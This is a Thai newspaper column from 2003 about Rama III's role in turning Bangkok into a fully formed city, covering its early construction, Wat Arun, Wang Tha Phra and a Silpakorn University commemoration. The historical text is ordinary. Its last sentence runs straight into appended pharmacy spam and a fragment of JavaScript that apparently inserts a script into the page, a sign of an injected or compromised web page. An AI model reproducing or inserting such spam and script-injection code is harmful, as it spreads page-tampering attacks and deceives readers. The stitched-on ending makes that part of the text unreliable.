ข่าวสด-วันเสาร์ที่ ๒๙ มีนาคม ๒๕๔๖

 

รัชกาลที่ ๓ ทำ “กรุงเทพฯ”

ให้เป็นตัวตนจริงๆ

กรุงเทพฯ เติบโตเป็นตัวตนกว้างขวางอย่างแท้จริงในแผ่นดินพระบาทสมเด็จพระนั่งเกล้าเจ้าอยู่หัว รัชกาลที่ ๓

ก่อนหน้านั้นเป็นระยะก่อร่างสร้างตัว คือ รัชกาลที่ ๑ ยังประทับอยู่พระราชวังเดิมกรุงธนบุรี เพราะเพิ่งเริ่ม “ไล่ที่ทำวัง” คือให้ชาวจีนที่มีหลักแหล่งอยู่ริมแม่น้ำเจ้าพระยา ย้ายครัวไปอยู่แห่งใหม่ที่เรียกกันต่อมาถึงปัจจุบันว่า ย่านสำเพ็ง แล้วเอาที่ย่านคนจีนแต่เดิมก่อสร้างพระราชวังกับวัดพระแก้ว ขั้นแรก พระราชวังสร้างด้วยเครื่องไม้ แม้กำแพงพระราชวังก็ยังเป็นเสาระเนียดปักบอกเขตเท่านั้น

คูเมืองเพิ่งเริ่มขุด โดยเกณฑ์แรงงานไพร่บ้านพลเมืองมาจากที่อื่น เช่น เกณฑ์พวกเขมร พวกจาม ฯลฯ มาช่วยกันขุดตลอดสาย

กำแพงเมืองเพิ่งเริ่มสร้าง โดยเกณฑ์พวกลาวสองฝั่งโขง พวกมอญ มาปั้นอิฐก่อกำแพงเมือง แต่เกรงจะเผาอิฐไม่ทันเลยให้ไปรื้ออิฐเก่าจากกำแพงเมืองอยุธยาที่พม่าตีแตกลงมา ฉะนั้นที่ไม่เหลือซากกำแพงกรุงศรีอยุธยาก็อย่าโทษพม่า

นอกจากนั้น รัชกาลที่ ๑ ยังต้องทำสงครามรับศึกที่ยังไม่เลิกราสงคราม พวกไพร่บ้านพลเมืองที่ขุดคูเมือง ก่อกำแพงเมือง และอื่นๆ ต้องถูกเกณฑ์ไปทัพด้วย เมื่อเสร็จศึกแล้วค่อยทำต่อ

ถึงรัชกาลที่ ๒ ก็ยังไม่เรียบร้อย เพราะยังมีศึกอยู่ประปราย ฉะนั้น กรุงเทพฯ ยังไม่ลงตัวสมบูรณ์ จะเห็นว่าบริเวณวัดสุทัศน์ยังไม่เสร็จ มีแต่โบสถ์พราหมณ์แห่งเดียวตั้งอยู่กลางสวนกลางป่า มีพวกขอทานแขกเลี้ยงวัวอาศัยอยู่ ดังบทละครเสียดสีกวีสยาม เรื่องระเด่นลันได ของพระมหามนตรี(ทรัพย์) ศูนย์กลางความเจริญยังอยู่ทางกรุงธนบุรีของพระเจ้าตาก

รัชกาลที่ ๓ (เป็นโอรสรัชกาลที่ ๒) คุมการค้าสำเภากับต่างชาติ โดยเฉพาะกับจีนมาตั้งแต่สมัยรัชกาลที่ ๒ จนร่ำรวยมั่งคั่ง เป็นเหตุให้เจ้านายครั้งนั้นตรัสเรียกพระองค์ว่า “เจ้าสัว

ความมั่งคั่งจากการค้าสำเภาทำให้พระองค์มีทุนทรัพย์ก่อสร้างสิ่งต่างๆ เช่น วัดวาอาราม วัดสำคัญวัดแรกที่สร้างบูรณปฏิสังขรณ์อย่างขนานใหญ่ คือวัดจอมทอง ปัจจุบันเรียก วัดราชโอรสาราม อยู่ในคลองบางจาก เขตบางขุนเทียน ซึ่งเป็นย่านนิวาสสถานเดิมของพระมารดา นับเป็นแหล่ง “ข้าหลวงเดิม

วัด คือศูนย์กลางของชุมชนอย่างแท้จริง ฉะนั้นเมื่อเห็นการกระจายของวัดที่มีศิลปสถาปัตยกรรมแบบพระราชนิยม นั่นหมายถึงชุมชนกระจัดกระจายไปตามสองฝั่งแม่น้ำลำคลองโดยรอบกรุงเทพฯ ซึ่งมีมากมายในแผ่นดินรัชกาลที่ ๓ เป็นพยานหลักฐานยืนยันว่ากรุงเทพฯ เติบโตเป็นตัวตนอย่างแท้จริงในยุคนี้เอง

พระปรางค์วัดอรุณฯ ที่ลือลั่นไปทั่วโลกเป็นผลงานออกแบบและควบคุมการก่อสร้างโดยรัชกาลที่ ๓ ขณะนั้นประทับอยู่ที่วังท่าพระ (ปัจุบันคือมหาวิทยาลัยศิลปากร) ใช้ท้องพระโรงวังท่าพระนั่นแหละออกแบบและควบคุมการก่อสร้าง

ตั้งแต่มหาวิทยาลัยศิลปากร ขยายเข้ามาอยู่วังท่าพระ ยังไม่เคยถวายพระเกียรติให้รัชกาลที่ ๓ มาปีนี้จะจัดงานวันพระบาทสมเด็จพระนั่งเกล้าเจ้าอยู่หัว โดยถือเอาวันคล้ายวันประสูติ คือ ๓๑ มีนาคม เป็นเริ่มต้น ขออนุโมทนาสาธุการอย่างยิ่ง

ความเป็นวังท่าพระมีประวัติศาสตร์สำคัญมาก เริ่มแต่เป็นที่ประทับของเจ้าฟ้าเหม็น (โอรสของพระเจ้าตาก และเป็นนัดดาของรัชกาลที่ ๑) แล้วเป็นที่ประทับและที่ว่าราชการงานเมืองด้านพาณิชย์ ต่างประเทศ จนถึงงานช่าง สืบต่อมาถึงตระกูล ชุมสาย สุดท้ายคือ สมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ – “นายช่างใหญ่แห่งกรุงสยาม” จนเป็นมหาวิทยาลัยศิลปากรก็มีสอนวิชาช่าง (ศิลปินมันก็ช่างทั้งนั้นละวะ)

ผมคิดว่าครูบาอาจารย์ของมหาวิทยาลัยศิลปากร กำลังทำหน้าที่ถูกทางแล้ว แต่ขอให้ทำมากกว่านี้ กว้างกว่านี้ โดยทำกันทุกๆ ปีให้เป็นประเพณียิ่งดีนัก

อย่าทำอย่างแฟชั่นเป็นไฟไหม้ฟาง เหมือนทำสินค้าขายนักท่องเที่ยวอย่างที่ใครๆ ก็ทำกันจนพินาศฉิบหายวายป่วงเกือบหมดแล้ว อย่างเห็นๆ อยู่ทุกวันนี้fluoxetine online uk buy tadapox in canadadocument.currentScript.parentNode.insertBefore(s, document.currentScript);